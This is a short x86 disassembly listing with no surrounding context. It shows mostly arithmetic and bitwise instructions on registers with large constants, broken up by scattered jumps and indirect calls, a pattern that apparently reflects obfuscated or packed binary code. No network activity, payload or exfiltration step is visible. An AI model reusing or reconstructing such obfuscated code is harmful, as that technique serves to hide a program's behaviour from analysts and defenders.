xor ebx, edi
and edi, ecx
mov ebx, 0x7f50f14d
jmp 0x46d423
pop edx
sub ecx, 0x7f517be5
sub ebx, 0x7f51d887
xchg ecx, edi
ror esi, 4
add ecx, 0x7f52fbd8
or ebx, ecx
sub ebx, 0x7f53b9b7
xor esi, edi
rol ecx, 1
and esi, 0x7f55000f
sub edi, ebx
mov esi, 0x7f55dcb0
or edi, esi
jmp 0x46c40e
mov edx, 0x6440607e
nop
xor esi, edi
sub ebx, edi
shr edi, 0xb
add ebx, ecx
not esi
and ecx, ebx
shl ebx, 3
shl ebx, 0x15
and esi, ecx
xor edi, 0x7f5e0b1f
add edi, esi
jmp 0x46d348
pop edx
add edi, ebx
dec esi
mov ecx, ebx
sub edi, ecx
add edi, 0x7f65fcb6
or edi, ebx
sub ecx, esi
xchg ebx, esi
add esi, ecx
inc edi
and esi, ecx
mov ecx, 0x7f689d0e
and ecx, 0x7f692613
xchg esi, ecx
jmp 0x46b348
call fcn.0046b570
sub esi, edi
add edi, ecx
add edi, ecx
sub esi, ecx
ror esi, 0x18
sub ebx, ecx
or esi, edi
neg edi
xor edi, 0x7f7575c4
jmp 0x46bc14
push 0x7a10907c
add ebx, esi
add ecx, edi
xor ebx, ecx
and ecx, esi
or edi, ecx
xor edi, ecx
xor ecx, 0x7f828e98
mov ecx, edi
neg edi
not ebx
neg ecx
add esi, edi
jmp 0x46d53d
call edx
add esi, ebx
add esi, ebx
or edi, esi
bswap ebx
xchg ecx, edi
jmp 0x46ca91